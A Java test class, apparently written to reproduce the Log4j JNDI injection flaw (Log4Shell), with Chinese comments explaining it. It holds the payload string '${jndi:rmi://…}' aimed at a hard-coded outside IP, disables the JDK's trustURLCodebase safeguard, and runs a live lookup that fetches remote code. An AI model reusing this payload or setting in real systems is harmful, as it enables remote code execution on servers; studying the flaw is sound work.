package com.technology.client;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.jndi.rmi.registry.RegistryContext;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Hashtable;

public class RMITest {
	private static final Logger logger = LogManager.getLogger(RMITest.class);

	/**
	 * Apache Log4j 远程代码执行漏洞,日志组件存在 Java JNDI 注入漏洞;
	 * 当程序将用户输入的数据记入日志时，攻击者通过构造特殊请求(${jndi:rmi://ip:端口/文件})触发,可利用此漏洞在目标服务器上执行任意代码。
	 *
	 * @link https://logging.apache.org/log4j/2.x/security.html
	 */
	public static void main(String[] args) throws NamingException {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");// jdk1.8.0_311需要设置信任来自127.0.0.1:7777的字节码文件
//		String inputStr = "${jndi:rmi://39.107.88.69:7777/testObj}";
//		logger.error("xxx params:" + inputStr);

		testJNDI();
	}

	private static void testJNDI() throws NamingException {
		// JNDI,参考https://blog.csdn.net/qq_35733751/article/details/118767640
		Hashtable env = new Hashtable();
		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");// RMI Registry Service Provider对应的Factory
		env.put(Context.PROVIDER_URL, "rmi://39.107.88.69:7777");
		Context ctx = new InitialContext(env);
		Object localObj = ctx.lookup("testObj");
//		Object localObj = new InitialContext().lookup("rmi://39.107.88.69:7777/testObj");
		System.out.println(localObj);

	}

}
